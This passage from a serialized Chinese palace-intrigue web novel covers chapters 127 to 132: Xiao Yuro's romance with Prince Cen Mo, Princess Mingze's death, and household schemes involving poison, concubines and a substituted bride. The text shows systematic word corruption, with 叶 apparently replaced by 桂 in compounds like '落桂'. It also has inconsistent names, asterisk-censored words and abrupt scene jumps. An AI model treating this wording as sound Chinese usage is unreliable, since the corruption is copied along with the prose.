“定远公府?”萧语柔猛地坐起身,声音里带着几分慌乱,“他们...他们来做什么?” “是啊,三皇子他们刚从北边回来。”紫萱一边说着一边挽起床幔,细心地整理着床铺,“听说立了大功,这会儿正在宫里领赏呢。” 萧语柔把脸重新埋进被子里,耳根更烫了。她能感觉到自己的心跳快得不像话,仿佛要从胸腔里蹦出来。 “小姐,您这是怎么了?”紫萱关切地问道,“可是身子不适?要不要请大夫来看看?” “不用了。”萧语柔深吸一口气,强迫自己冷静下来,“我没事,你帮我准备衣裳吧。” 紫萱把端着的铜盆和热毛巾放下。萧语柔坐在妆台前,让紫萱为她梳妆。 “小姐今日真好看。”紫萱一边替她挽发髻一边赞叹,“这雪青色的稍纱裙最衬小姐的气质。” 萧语柔看着镜中的自己,不由得想起昨夜岑陌看她的眼神。那双平日里清冷的眸子里,竟染上了她从未见过的炽热。 等她梳妆完毕来到福寿堂时,定远公夫人沈氏的目光不由多停留了几秒。今日的萧语柔,一袭雪青色稍纱长裙,清丽脱俗。那双灵动的眼眸比往日更添几分神采,整个人如同初绽的海棠,娇艳欲滴。 “五妹妹今天真好看!”钱忠脱口而出,眼睛都直了。 “闭嘴。”沈氏低声呵斥,瞪了儿子一眼。 钱涛笑着打圆场:“五妹妹向来美貌,今日更胜往常。” 老夫人笑着拉过萧语柔:“快来坐。这孩子越长越标致了。” 萧语柔低着头,轻声道谢。她能感觉到桂婉柔投来的冷眼,还有桂玥欲言又止的目光。 不多时,府中众人陆续到齐,唯独桂成林不在。气氛略显沉闷,众人小声交谈,时不时打量着萧语柔。 桂婉柔面色苍白地进来,目光在萧语柔身上转了一圈,又看向精心打扮的桂玥,语带讥讽:“六妹妹今日这般盛装,莫非是为了两位表哥?” 桂玥脸一红,强忍着泪水:“四姐姐说笑了,我只是想让祖母放心......” “婉柔,说话注意些。”慕氏皱眉,打断了桂婉柔的话。 气氛一时更加尴尬。萧语柔垂着眼帘,手指无意识地绞着帕子。她能感觉到桂婉柔眼中的敌意,却不知该如何应对。 好在慕氏岔开话题,说起西陲见闻,才让气氛缓和下来。她说起边关的风土人情,说起将士们的英勇事迹,众人渐渐被吸引,连桂婉柔也收起了冷脸。 正说笑间,外面传来一阵骚动。家丁匆匆进来禀报,说宫里的赏赐到了。更令人惊讶的是,四位皇子都被封为亲王。其中岑陌被封为定王,岑涛为贤王。 “定王?”桂玥眼睛一亮,“三哥哥被封为定王了!” 萧语柔的心猛地跳了一下。她想起昨夜岑陌说过,等他从宫里回来,要告诉她一个好消息。原来说的就是这个。 赏赐刚发完,外面就传来通报:“王爷大人来了!” 桂玥激动地站起身,整理衣裳。她期待地看向门口,眼中满是憧憬。 萧语柔的心跳也不由加快。她低着头,不敢抬眼,生怕与岑陌对视时会露出破绽。 只见岑陌一身大红蟒袍,头戴金冠,气势凌人。那张俊美的面容依旧清冷,却比往日多了几分威严。他的目光在堂中扫过,在萧语柔身上停顿了一瞬,又若无其事地移开。 “殿下!”桂玥突然冲上前,“大佬还有印象不?我是莹儿啊!” 岑陌淡淡扫了她一眼:“下不为例。” 桂玥愣在原地,眼泪瞬间涌了出来:“我......” “莹儿。”慕氏连忙将女儿拉回来,“不得无礼。” 老夫人见状,连忙打圆场:“定王难得回来,快请坐。” 岑陌难得露出浅笑,与老夫人说话时语气温和,与往日判若两人。萧语柔偷偷瞄了他一眼,发现他的目光恰好落在自己身上,吓得赶紧低下头。 就在这时,桂成林姗姗来迟。他看着堂上的岑陌,阴阳怪气道:“下官还以为王爷会先去看望长公主。” “侯爷在处理政务。”赵继海冷笑,“王爷不会见怪。” 岑陌却道:“不妨事。” 桂成林握紧拳头,强挤出笑容。他的目光在萧语柔身上停留片刻,眼中闪过一丝阴霾。 萧语柔看着岑陌的侧脸,想起昨夜的疯狂,心跳再次加速。她低下头,生怕被人看出异样。那些暧昧的画面不断在脑海中闪现,让她几乎无法思考。 第一百二十七章 可疑 沈氏目光落在上首的岑陌身上,眼中略过一丝讶异。她微微侧头,仔细打量着这位传闻中锋芒毕露的三皇子。只见他一身玄色锦袍,举手投足间尽显贵气,却又不失温和有礼,与传闻中那个杀伐决断的形象大相径庭。 “这位就是三皇子?当真与传闻中大不相同啊!”沈氏忍不住低声对慕氏道。 慕氏看着岑陌为了语柔而收敛锋芒的模样,嘴角不自觉地扬起一抹笑意。她想起前些日子听闻的传言,说这位三皇子为了萧语柔,连御前都敢顶撞。如今亲眼所见,倒真让人不得不信。 “是啊,”慕氏压低声音回道,“谁能想到那个让边关将士闻风丧胆的战神,也有如此温和的一面。”她一边说着,一边热情地招呼着岑陌用茶点,就像对待自家女婿一般。 堂内檀香袅袅,茶香四溢。岑陌举手投足间尽显优雅,与在场众人谈笑风生。萧语柔坐在一旁,虽然低眉顺目,但眼角余光却时不时地瞟向他。 不多时,桂远墨满头大汗地赶了回来。他的衣襟上还沾着些许尘土,显然是匆忙赶路所致。 还未等桂成林开口,岑陌便道:“桂大人请坐近些,本王有澄江县的要事相商。”他的声音不疾不徐,却自带一股威严。 桂远墨受宠若惊,连忙上前。他整了整衣冠,小心翼翼地在岑陌示意的位置坐下。 岑陌谈吐不凡,无论是农田水利还是军事战略,都见解独到。他说起边关战事时眼中闪烁着智慧的光芒,谈及民生疾苦时又显得格外认真。桂远墨听得如痴如醉,不时点头附和。 女眷们渐觉无趣,纷纷低声交谈起来。这时桂琳的侍女匆匆过来,在她耳边低语几句。 桂琳的脸色瞬间变了,她起身走到萧语柔身边,压低声音道:“六妹妹落水晕过去了。” 萧语柔手中的茶盏微微一顿,眼底闪过一丝不易察觉的冷意。“府中有大夫,不必担心。”她淡然道,仿佛在说一件与己无关的事。 桂琳意味深长地看了她一眼:“我还以为五妹妹会去看看。”她停顿片刻,又道,“有些人太过贪心,五妹妹心里该有数。” 说完,桂琳若无其事地回到座位。桂婉柔几次看来,她都低头吃茶充作未见。空气中弥漫着一股若有若无的火药味。 一个时辰后,岑陌起身告辞。老夫人笑眯眯地命萧语柔相送,丝毫没注意到桂婉柔眼中闪过的嫉恨之色。 萧语柔送岑陌出府,秋日的阳光斜斜地洒在两人身上,在地上投下长长的影子。 “墨王要入京了。”岑陌突然说道,声音里带着一丝凝重。 萧语柔一惊,纤细的手指下意识地攥紧了衣袖:“这不是引狼入室?”她的声音里带着几分担忧。 “或许是请君入瓮。”岑陌慵懒地靠在廊柱上,眼中带着狡黠的笑意,“就像某人,也想把猎物拖回洞中。” 萧语柔顿时满脸通红,慌忙四下张望。秋风拂过,带起她鬓角的碎发,映着那张羞红的脸,愈发动人。见四下无人,她才稍稍放心。 突然,她的手被人握住,贴在了一个温热的胸膛上。隔着衣衫,能感受到那有力的心跳。岑陌的气息近在咫尺,让她心跳加速。 “阿柔,成婚后,我任你处置。”岑陌的声音低沉而温柔,像是在许下一个诺言。 “好...好的。”萧语柔羞得说不出话,只觉得耳根发烫。 秋风拂过,枫桂如火,映得少女脸颊更红。远处传来下人的脚步声,两人这才依依不舍地分开。 岑陌刚离开不久,一个惊人的消息便传遍龙都——明泽公主被抓,证据确凿,将被鞭笞五十,抄没家产,贬为庶民。 消息传来时,萧语柔正在幽谷品茶。她手中的茶盏微微一顿,眼底闪过一丝复杂的神色。她心知,这“幽禁于府”不过是个幌子,明泽公主活不过这两日了。 “让郗澜多派人盯着公主府。”她对萧瑾低声吩咐,声音里带着不容置疑的命令。 转角处,她遇到了坐轮椅的桂婉柔。秋日的阳光透过树影,在地上投下斑驳的光影,也照亮了桂婉柔阴沉的面容。 “五妹妹如今好不得意。”桂婉柔冷笑道,眼中闪烁着危险的光芒。 “承蒙姐姐照拂。”萧语柔眉眼带笑,语气却带着几分讽刺。 “你以为事事都会如你所愿?”桂婉柔脸上浮现狰狞之色,手指紧紧抓住轮椅的扶手,指节发白。 “不是以为,是本就如此。”萧语柔轻描淡写地回道,转身离去。她的背影在阳光下显得格外挺拔。 夜深人静,萧瑾领着郗澜来到幽谷复命。月光如水,洒在庭院中的石桌上,为眼前的场景增添了几分神秘色彩。 “自柳驸马失踪后,长公主便断了与明泽公主府的来往。”郗澜看着月下沏茶的少女,“不过,明泽公主府的暗卫频繁出入沈府。” 萧语柔纤细的手指执壶倾茶,茶水的清香在夜色中弥漫。 “最可疑的是两个地方——龙王庙和福安寺。周家小厮都是上三炷香就走。”郗澜继续汇报道。 萧语柔给他倒了杯茶,月光下她的侧脸显得格外清冷:“这是暗号,继续派人盯着。” “主子就不怕明泽公主临死前拉您垫背?”郗澜忍不住问,手不自觉地摸向腰间的刀。 “她一定会。”萧语柔轻啜一口茶,眼中闪过一丝冷意。茶香在唇齿间流转,仿佛在酝酿着什么。 “那...”郗澜的手按在刀柄上,等待着主子的命令。 “喝茶。”萧语柔淡淡地说,目光望向远处的月色。夜风拂过,带来一丝凉意,也带来了即将到来的风暴的气息。 第一百二十八章 救命稻草 明泽被关在房中已经经整整一日了。 她的发髻凌乱不堪,绣着金线的衣裳上沾满了暗褐色的血迹,如同一只困兽般在房间里来回踱步。 打碎的饭菜散落一地,瓷器的碎片在月光下泛着冷冷的光。她已经整整骂了一夜了,嗓子依然有些暗哑。可那些咒骂声从凄厉到微弱,最终却只是化作了无力的呜咽。 房间里弥漫着一股腐败的气息,混合着饭菜的酸臭味。明泽地跪坐在地上,已然精疲力竭,她目光呆滞地盯着地面。她的手指无意识地抠着地板,指甲缝里都是污垢。 “我不能死...不能死...”她喃喃自语道,声音沙哑得几乎听不清。 就在此时,房门被推开了。吱呀一声,仿佛死神的低语。 月光下,一道修长的身影缓缓走了进来。明泽眯起双眼,一时间没有看清来人面容。她下意识往后缩了缩,声音里带着一丝颤抖:“是柳华让你来的?” 来人没有回答,只是静静地走到一旁坐下。月光透过窗棂,照在他棱角分明的侧脸上。 待看清那人面容,明泽猛地一颤,瞳孔骤然收缩:“褚、岑陌?你的腿...怎么好了?”她的声音里充满了不可置信。 “姑母喜欢喝酒吗?”岑陌的声音平静得可怕,就像一潭死水,看不出任何波澜,“霜琼酿,还是桃花醺?” 林妈妈适时端着两壶酒进来,酒香在封闭的房间里弥漫开来。 明泽吓得连连后退,手掌不慎压在地上的碎瓷片上,鲜血顿时涌出。可她却像感觉不到疼痛似的,眼中剩下的只有惊恐。 “是你!是你害我!”明泽尖叫起来,声音里带着歇斯底里的疯狂,“我这个做姑姑的可不是外人!你怎么能...怎么能...” 岑陌不为所动,修长的手指轻轻敲击着桌面:“说出你的理由。” 明泽心中发颤。她知道长公主那边没了动静,连那个人也迟迟没有回应。但她不能死,至少现在不能!她的眼珠疯狂转动,像是在寻找最后的救命稻草。 “我...我掌握了你的把柄,”明泽咬牙道,豆大的汗珠从她额头滑落,“一个天大的秘密。只要你放我一命,我就告诉你。” “说。”岑陌的声音依旧平静,但周身的气息却愈发冰冷。 “呵!你可还记得三岁时的事?”明泽冷笑道,“你被长公主带回来后,为何对从前的一切都不记得了?那不是因为年纪小,因为有人给你下了迷药!” “你母妃萧贵妃与长公主有过节,她却偏偏收养了你,你不觉得奇怪吗?”明泽继续道,声音里带着几分讥讽,“还有你母妃之死,恐怕也与长公主脱不了干系。” “桂驸马之死,你知道多少?”岑陌突然问,目光如刀般锋利。 明泽眼中闪过一丝忌惮,身子不自觉地往后缩了缩:“这个...你若想知道真相,不妨查查你母妃的死因。” 岑陌起身离开,连着美酒一块拿走。他的背影在月光下显得格外修长而冷峻。 不多时,一声凄厉的惨叫从房内传出来...... “王爷为何不多问?”林妈妈低声问,眼中带着疑惑。 “她背后另有其人,不会轻易说实话。”岑陌眸光深邃,仿佛能看透人心。 明泽的死讯很快传到了萧语柔耳中。 次日清晨,萧语柔正用着早膳,就听林婆子在一旁感叹:“这公主脑子怕是被门夹了,用瓷片割喉自尽了。听说死状极惨,血流了一地。” “林婆子,别在小姐用膳时说这些。”紫萱连忙制止,担忧地看了眼萧语柔。 林婆子讪讪一笑,转而说起别的:“最近月姨娘成天带着点心往外跑,声称要去看望以前的主子,倒是个有心人。不过这肚子...” 她意有所指地看了眼萧语柔。 三人相视一笑,都明白春蝶肚子里的孩子来历不明。这种事在大户人家并不少见,但总归让人心生芥蒂。 恰在此时,春蝶摇着团扇从外归来,一身华贵的衣裳衬得她越发娇艳。她正巧遇到春姨娘带着桂玥去给桂成林请安。 桂玥望着春蝶隆起的腹部,眼中闪过一丝阴郁。她紧紧攥着手帕,指节都泛白了。 “别理会她。”春姨娘拉着女儿低声道,语气里带着几分轻蔑,“你要记住,男人三妻四妾是常事。等你嫁给岑陌,也该为他物色些美貌丫环。” “那些贱人也配?”桂玥咬牙切齿,眼中满是嫉妒和恨意。 春姨娘脸色一僵,随即又柔声道:“待会儿见了你父亲,多撒些娇,他最受用这个。” 桂玥想到岑陌轩美的容颜,羞红了脸。她轻轻摸了摸自己的脸颊,心中满是甜蜜的憧憬。 与此同时,岑陌正站在书房的窗前,望着院中的梨花。花瓣随风飘落,如同散落的记忆碎片。他的目光深邃而悠远,仿佛在思索着什么。 林妈妈端着茶进来,看到他这副模样,欲言又止。 “说吧。”岑陌头也不回地道。 “老奴觉得,明泽的话不可尽信。”林妈妈斟酌着开口,“她临死前的那番话,恐怕另有用意。” 岑陌轻轻点头:“她是在给我下套。” “那王爷...” “让人去查一查长公主这些年的动向。”岑陌转过身,眼中闪过一丝锐利的光芒,“还有,密切关注桂府的动静。” 林妈妈应声退下,留下岑陌一人站在窗前。梨花依旧纷飞,却衬得他的身影越发孤寂。 萧语柔这边,她正在院子里练习新学的曲子。琴声悠扬,却总觉得少了几分韵味。 “小姐,”紫萱端着茶走来,欲言又止。 萧语柔停下手中的动作:“有什么事就直说。” “奴婢听说,桂府那边...”紫萱压低声音,“桂玥小姐已经开始准备嫁妆了。” 萧语柔的手指微微一颤,琴弦发出一声不和谐的响声。她强作镇定道:“这是好事,岑陌也该成家了。” “可是小姐...” “我知道你想说什么。”萧语柔打断她的话,声音平静得有些刻意,“这些都是命中注定的,不是吗?” 紫萱看着萧语柔强颜欢笑的样子,心中一阵酸萧。她知道小姐对岑陌的心思,可惜... 就在此时,外面传来一阵喧哗声。 “出什么事了?”萧语柔皱眉问道。 “好像是月姨娘晕倒了。”紫萱探头看了看,“听说是动了胎气。” 萧语柔冷笑一声:“她倒是会挑时候。” “小姐...” “不必管她,她自会有人疼。”。萧语柔重新拨动琴弦道。 琴声再起,却比方才更添了几分凄凉。花瓣纷飞,落在琴弦上,如同无声的叹息。 第一百二十九章 宁远伯府 宁远伯府比往常热闹了许多,庭院里人声鼎沸,丫鬟仆役来回穿梭,忙得不可开交。 大门外的车马络绎不绝,门房的小厮都快记不清今日迎进了多少贵客。虽说宁远侯平日里交际不广,与墨家更是少有往来,但因着桂远墨、定远公府的关系,再加上萧语柔这个未来的定王妃,倒是吸引了不少人前来凑这个热闹。 内院的兰轩里,穆氏一身孔雀绿绸裙,虽然消瘦了不少,但眉眼带笑,倒是有了几分昔日的风采。她和几位夫人打趣着,时不时掩唇轻笑,举手投足间尽显大家风范。 “穆夫人这气色瞧着好多了。”一旁的妇人笑着说道。 “托大家的福,这些日子休养得当,身子骨确实好了不少。”穆氏微微颔首。 “那就好那就好,”另一位夫人接话道,“听说今日新郎官还没到?” 穆氏脸上的笑容微微一滞,很快又恢复如常:“墨家那边说是有些事耽搁了,想必很快就到。” 正说着话,外头传来一阵骚动。萧语柔携着一身清冷的气息步入兰轩,那些围着穆氏的夫人们立刻蜂拥而至。 “定王妃可算是来了。” “听说定王最近在朝中很受重用呢。” “定王妃今日这身打扮当真是雅致。” 一众人心里都打着自己的小九九,可脸上却都挂着谄媚的笑容。有人想巴结定王府,有人想攀附定远公府,更有人单纯想打探些消息。 萧语柔着一身淡青色的裙装,发间只簪了一支白玉簪子,清淡素雅却自有一番风骨。她不动声色地应付着众人,目光却不经意地瞥向站在一旁的慕氏。 慕氏今日也是精心打扮过的,一身藕荷色的衣裙,发髻高挽,显得整个人清丽端庄。她见萧语柔看过来,会意地上前解围:“几位夫人,茶水点心都准备好了,不如移步偏厅?” 众人这才渐渐散去,临分开时,萧语柔在慕氏耳边轻声道:“小心穆氏夫妻,若有异常,直接去找外祖母。” 慕氏微微一怔,还未及细问,珍珍已经蹦蹦跳跳地跑了过来。小家伙今日穿着一身大红色的喜服,圆圆的小脸蛋红扑扑的,煞是可爱。 “表姐!”珍珍欢快地喊道,“你看我今天穿得好看吗?” 萧语柔牵着他的手,脸上露出温柔的笑意:“好看,我们珍珍最好看。” 待转身去和其他小姐们聊天时,萧语柔的笑容渐渐淡去。她总觉得今日府上的气氛有些不对劲,却又说不上来哪里不对。 慕氏站在原地,若有所思。她回想着方才萧语柔的提醒,又想起这些日子穆氏夫妻的种种异常,心中暗自盘算。 不多时,前院传来消息,说是新娘子要出门拜别了。 众人移步前院,只见桂婉柔已经盖上红绸,双腿残疾行动迟缓,只能坐在轮椅上。她身着大红嫁衣,却显得整个人更加单薄了。 “父亲,母亲......”桂婉柔声音哽咽,由下人搀扶着跪下。她的身子微微发抖,像是在强忍着什么。 眼看桂成林要去扶她,桂婉柔却又重重地跪下:“女儿还有一事相求。” 院子里一片寂静,所有人都屏住了呼吸。 “父亲,请您让母亲回府吧。” 萧语柔站在老夫人身边,冷眼旁观这一出戏码。她注意到穆氏眼底闪过的一丝得意,更加确定了心中的猜测。 桂成林脸色阴沉:“今天你终于修成正果了,别错过黄道吉日。” “女儿不敢,只是......”桂婉柔又是一个响头,声音带着哭腔,“只是女儿即将远嫁,心中实在放心不下母亲。这些年,母亲为了我们姐弟操劳至此,如今......” 穆氏适时落泪:“我的好女儿,你这是何苦......”她上前想要搀扶桂婉柔,却被桂成林一个眼神制止。 众人纷纷劝解,有说今日是大喜之日不该说这些的,有说新人该顾着吉时的,更有人暗暗称赞桂婉柔的孝心。场面一时煽情至极。 桂辰站在一旁,脸色难看至极。他不敢看向萧语柔,只能硬着头皮跪下:“父亲,求您开恩。” 此时,老夫人却是看不下去了,叹了口气随即拉着萧语柔离开。她总是觉着今日这场婚事有些蹊跷,可又说不上来哪里不对。 定远公府的人也纷纷告退,热闹的院子瞬间冷清了许多。 桂成林看着跪在地上的一双儿女,眉头紧锁。他何尝不知道穆氏这些年的所作所为,但事关家族声誉,他不得不忍。 “既如此,为父应允就是。” 桂婉柔这才由人扶着上了花轿。抬轿的人显得有些吃力,轿子摇摇晃晃地向外走去。 “墨公子竟然没来接亲?” “听说是在外头喝醉了。” “这样的媳妇,谁会当回事?” 流言蜚语不绝于耳,桂婉柔坐在轿中,紧紧攥着手中的帕子。 萧瑾蹲在屋顶,总觉得那花轿重得不太对劲。他悄悄跟着轿子走了一段,越发觉得不对。 找到萧语柔时,她正在和几位小姐说话。萧瑾等她说完,才将这个发现告诉了她。 萧语柔若有所思:“无需担心,你只管保护好小舅妈。”她想起早上收到的消息,墨王即将入京,这场婚事恐怕没那么简单。 看着萧瑾离去的背影,萧语柔眸光微动。她转身看向府门外络绎不绝的车马,心中已有计较。 花轿渐渐远去,喜乐声渐渐消散。宁远伯府的大门重新关上,仿佛什么都没发生过。只是府中的气氛却比方才更加凝重了。 穆氏站在廊下,看着远去的花轿,嘴角勾起一抹若有若无的笑意。她转身要往内院走,却见萧语柔正站在不远处,目光清冷地看着她。 两人四目相对,谁都没有说话。片刻后,穆氏低下头,快步离开了。 萧语柔知道,这场闹剧才刚刚开始。 第一百三十章 吃瘪 老夫人以身体不适为由,拒绝了桂成林的探望。 桂成林站在福寿堂的院门外,秋风萧瑟,几片枯黄的落桂打着旋儿飘落。他抬头望向紧闭的雕花木窗,眸色渐深。良久,他才缓缓收回视线,转身离去。 “侯爷慢走。”管事妈妈连忙躬身相送,此时她的额头上已经沁出细密的汗珠。 桂成林从福寿堂出来时脸色不善。府中下人见状,纷纷低头避让,生怕触了霉头。 他径直朝如意阁走去,远远就听见一阵惊呼声。 “小心!夫人!” 春蝶正从台阶上摔下来,身后的丫鬟眼疾手快地扑过去,用身体护住了她。 “你这贱婢,竟敢推我家夫人!”穆氏身边的大丫鬟指着那个护住春蝶的丫鬟,厉声呵斥。 春蝶挣扎着想要起身,却被丫鬟按住:“夫人别动,让奴婢看看您有没有伤到。” “我没事。”春蝶摇摇头,眼中含泪,“都是我自己不小心。” 穆氏立在台阶上,居高临下地看着这一幕:“春蝶,你可真会装。怀了身孕就以为能翻了天不成?” “夫人,您怎么对我都成,可这孩子终归是侯府的血脉啊。”春蝶抹着泪,声音颤抖。她双手护着微微隆起的腹部,眼中满是哀求。 穆氏面色铁青,可话还未出口,桂成林已经大步走了进来。 “好一个正室的威风。”他恶狠狠的瞪着穆氏,声音里满是刺骨的寒意。 穆氏恍然大悟,原来春蝶这个**是故意激她动手的。她心中暗恨,面上却装出一副委屈的模样:“侯爷,妾身不是有意的...” “够了!”桂成林厉声打断她的话。 春蝶抓住桂成林的衣袖,泪眼婆娑:“侯爷,妾身只求能为您生下这个孩子,死也甘心。”她的声音柔弱无助,却字字戳在穆氏心上。 桂成林将她扶起来,语气难得温和:“谁要你**?好好养胎才是正经。” 看着春蝶萧萧可怜的模样,他想起这些年在府中早夭的姨娘和孩子们。那些无辜的生命,一个个都死在了莫名其妙的意外中。再看向穆氏时,他的眼中已经布满寒霜。 “天色不早了,你该回去了。”桂成林对穆氏说,语气不容置疑。 穆氏咬着唇,强忍着怒气:“侯爷答应过婉柔...” “空口白话,算什么数。”桂成林不耐烦地挥手,打断她的话。 穆氏脸上的温柔瞬间消失,取而代之的是刻骨的恨意:“二十年夫妻,当初侯爷为娶我,不惜抛弃发妻和亲生骨肉...” “啪!”一声脆响,桂成林一掌拍在栏杆上,木屑纷飞。他眼中闪过一丝杀意:“你知道自己在说什么?” 春蝶察觉气氛不对,连忙告退。她刚走出院门,身后穆氏的声音就传了过来:“侯爷若执意如此,那就别怪我鱼死网破。” 穆氏离开如意阁后,并未直接回家,而是去寻慕氏。她绝不能让春蝶得逞。 慕氏正在清点府中物事,见她神色不善,想起萧语柔的叮嘱,暗自提防。 “弟妹,我有话要说。”穆氏强挤出笑容,在她对面坐下。 “今日实在太忙。”慕氏婷拒,手中的算盘打得飞快。 “我便直言不讳...” 慕氏匆匆起身,顾不得收拾账本就往外走:“糟了,老夫人的药还在火上。” 穆氏还想追,却被石子绊了一跤。她扶着桌角站起来,脸色难看至极。 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萧语柔听完,眉头紧锁。她起身走到窗前,看着院中的海棠树,若有所思。 “此事蹊跷,你继续盯着墨家。”岑陌说着,给她披上一件斗篷。夜风微凉,他不愿她着凉。 “阿柔觉得如何?” “我猜想五公主有靠山。”萧语柔说起明泽公主和起居舍人的事,“这些巧合,未免太多了些。” 岑陌想起明泽临终前的话,一切豁然开朗。他看着萧语柔的侧脸,心中暗自盘算着对策。 夜色更深了,府中渐渐安静下来 第一百三十一章 新娘五公主 “岑陌,你的意思是说,这所有的事都是同一个人在背后操控?”萧语柔站在窗前,望着庭院中飘落的梨花,眉头不自觉地蹙起。 “西陲的动乱,墨王入京,这些看似毫无关联的事件,背后必有推手。”岑陌的声音平静中透着不容置疑的笃定。他目光深邃,“这些年来的每一步,都在某个人的算计之中。” 萧语柔转身,烛光在她清丽的面容上投下明暗不定的光影。她抿了抿唇:“你是说......” 岑陌站起身,踱步到她身边,“你在担心什么?” “如果真如你所说,那父母之死......恐怕也与此人脱不了干系!”萧语柔的声音有些发颤,她深吸一口气,努力平复着内心的波澜。 一只温暖的大手覆上她的手背,岑陌低沉的声音在耳畔响起:“不必担心,有我在。”这简单的四个字,却让萧语柔心中涌起一股暖意。 夜色愈发深沉,檐下风铃轻响。萧语柔望着案上未燃尽的蜡烛,烛泪缓缓滑落,如同她内心翻涌的思绪。重活一世,她已经触摸到了真相的边缘,那些曾经困扰她的谜团,似乎正在一点点揭开。 “就算他真有通天的本事,我也要查个水落石出。”萧语柔攥紧了拳头,指甲深深陷入掌心,却浑然不觉疼痛。 与此同时,穆氏府中的气氛却是另一番光景。 “夫人,大夫已经确认了。”桂威站在灯下,神色凝重,“春蝶给您下的是慢性之毒,若不是及时发现......” 穆氏脸色惨白,扶着雕花楠木桌案缓缓坐下。烛光映照下,她的面容显得格外憔悴。桂成林竟真的对她起了杀心,这个残酷的事实让她一时难以接受。 案上的茶早已凉透,穆氏却浑然不觉。苦涩的滋味在口中蔓延,如同此刻的心情。 “夫人,现在只有一个办法。”桂威压低声音,环顾四周后才继续说道,“揭发侯爷杀害桂驸马的事,让他为自己的所作所为付出代价。只有这样,才能保住夫人的性命。” 穆氏放下茶盏,苦笑一声:“让我想想......”。她手中的戏信封是唯一能证明桂成林所为的证据,可真的要走到这一步吗? 夜色渐深,穆氏久久未能入眠。窗外传来几声零落的更声,她翻来覆去,脑海中不断回想着往事。那些年的恩爱情深,竟是一场虚幻。 次日清晨,一个惊人的消息在龙都炸开。 五公主竟成了墨国舅府的新娘,而原本的新娘桂婉柔反倒成了妾室。这消息一出,整个龙都都沸腾了。茶楼酒肆中议论纷纷,街头巷尾皆在谈论这桩奇事。 皇帝震怒,龙颜大怒之下,连御书房中的茶盏都被摔得粉碎。皇后失势,从此不得踏入乾清宫半步。 墨国舅府更是遭受重创,国舅墨阳被投入大牢,受了重刑。往日的荣华富贵,转眼成空。府中下人纷纷逃散,偌大的府邸冷清得可怕。 朝堂上下一片混乱,文武百官各怀心思。唯有岑陌在这浑水中如鱼得水,运筹帷幄。预定的深秋巡演档期提档了,皇后和太傅府的人选也被除名。 “梨兰嬷嬷,您说太后召见我是为了......”萧语柔坐在马车上,望着车窗外掠过的街景,轻声问道。马车轻轻颠簸,车轮碾过石板路面发出规律的声响。 “县主莫要紧张。”梨兰嬷嬷慈祥地笑道,“太后和明悟大师都是和善之人。况且县主医术高明,太后召见必是好事。” 听到“净慈”二字,萧语柔心中一动。这位神秘的高僧,究竟是何方神圣? 马车缓缓停下,萧语柔整理了一下衣裳。下车时,她将一个绣着芙蓉花的精致荷包递给梨兰嬷嬷:“这是治湿毒的药丸,望嬷嬷笑纳。” 梨兰嬷嬷接过荷包,眼中闪过一丝感动。这位小县主,当真是个有心人。她轻轻摩挲着荷包上精致的绣工,心中暗暗记下这份情谊。 福安寺后山的小院幽静雅致,青石板路两旁种着几株翠竹,随风轻摆。萧语柔终于见到了传说中的明悟大师——也就是太上皇。 院中香炉袅袅升起的檀香,为这份相见增添了几分禅意。 “来,让贫僧看看你的医术如何。”太上皇和蔼地说道,目光中带着几分审视。 萧语柔恭敬地上前为太上皇诊脉。片刻之后,她的神色变得凝重起来:“大师体内似有......”她犹豫片刻,目光在太上皇面上一扫而过,“似有毒素。” 此言一出,满屋之人尽皆变色。空气仿佛在瞬间凝固,连院中的风声都似乎静止了。 萧语柔站在锦绣坊的柜台前,目光落在那筐新鲜的时蔬上。晨露未干的青菜上还沾着几片泥点,散发着泥土的芬芳。她伸手轻轻拨弄着菜桂,思绪不由得飘远。 萧瑾挠了挠头,一脸困惑地看着出神的萧语柔,“姐姐,这菜......是要用眼睛吃吗?再看它们就都要蔫了。” 萧语柔这才回过神儿来。她整理了下裙摆,淡淡道:“送去厨房吧。” 萧瑾麻利地拎起菜篮子,转眼就消失在门外。 龙都里的流言蜚语如同春日里的柳絮,漫天飞舞。赵王以督军身份,奔赴西关抵御蛮敌的消息,更是传得沸沸扬扬。茶楼酒肆间,三教九流皆在议论这位年轻的王爷为何突然领了这差事。 岑燕燕被送到侯府时,眼睛哭得像桃子一样肿,素白的小脸上还挂着未干的泪痕。 赵王府的管家带着厚礼,神色恭敬地先拜访了老夫人和桂成林。礼单上的物件一一呈上,尽显王府的体面。随后又特意照顾到桂远墨一家,这才安置好岑燕燕和两个侍女离开。 第一百三十二章 冤家路窄 慕氏将岑燕燕安排在了棠苑,离幽谷不远。小姑娘哭累了,蜷缩在床榻上,沉沉睡去。帐幔轻轻摇曳,映着她苍白的小脸。 萧语柔让人点了安神香,望着袅袅升起的青烟,轻手轻脚地退出棠苑。庭院里的海棠开得正好,粉白的花瓣随风飘落。 “小姐。”紫萱快步迎上来,递上一本账册,眼中带着掩不住的喜色,“锦绣坊这个月的业绩。” 萧语柔接过翻开一看,唇角不自觉地扬起。数字远超预期,比上月足足翻了一倍有余。 “哥哥说,幸不辱命。”紫萱眉眼带笑,双手绞着衣角,“要不是有这么好的成绩,都不好意思来见小姐了。” 萧语柔合上账册,目光柔和道:“告诉他,等锦绣坊开足三家分店,我就给你们兄妹消除奴籍。到时候,给你寻个如意郎君,给他觅个贤良娘子,准你们独当一面。” 紫萱脸颊瞬间染上红晕,不由想起前两日驿馆送来的那封信。 那是邬洵写给萧语柔的。信中说他已抄录完萧父手记,字字珠玑,令他深感受益,想要拜萧父为师,请萧语柔允准他立牌位供奉。 信的末尾,轻轻带过感谢紫萱为他缝补衣衫一事。寥寥数语,却让紫萱心头一颤。 “婢子此生唯小姐马首是瞻。”紫萱眼中泛起泪光,声音哽咽,“婢子愿追随小姐左右。” “邬洵是个难得的良人。”萧语柔轻声道,目光落在紫萱泛红的耳尖上。 “奴婢不想嫁。”紫萱低着头,声音细若蚊蚋,手指无意识地绞着衣角。 萧语柔没再多说。缘分这东西,强求不得。她转身望向院中的海棠,任由清风拂过面庞。 秋巡在即,皇帝却突然召墨王入京。这消息来得蹊跷,萧语柔总觉得其中有异。她立即吩咐人收拾福安寺下的别院,准备让慕氏母女陪老夫人过去住。 岑燕燕哭了两天,总算缓过劲来。这日早膳后,她拉着萧语柔去逛街,脸上终于有了些许血色。 “语柔,锦绣坊新进了一批西域的高脚夜光杯,配上葡萄酒,美极了!”岑燕燕兴致勃勃地往二楼走,步伐轻快,仿佛方才的愁绪都被抛在脑后。 刚要付钱,楼道里传来声音,打断了她们的谈笑。 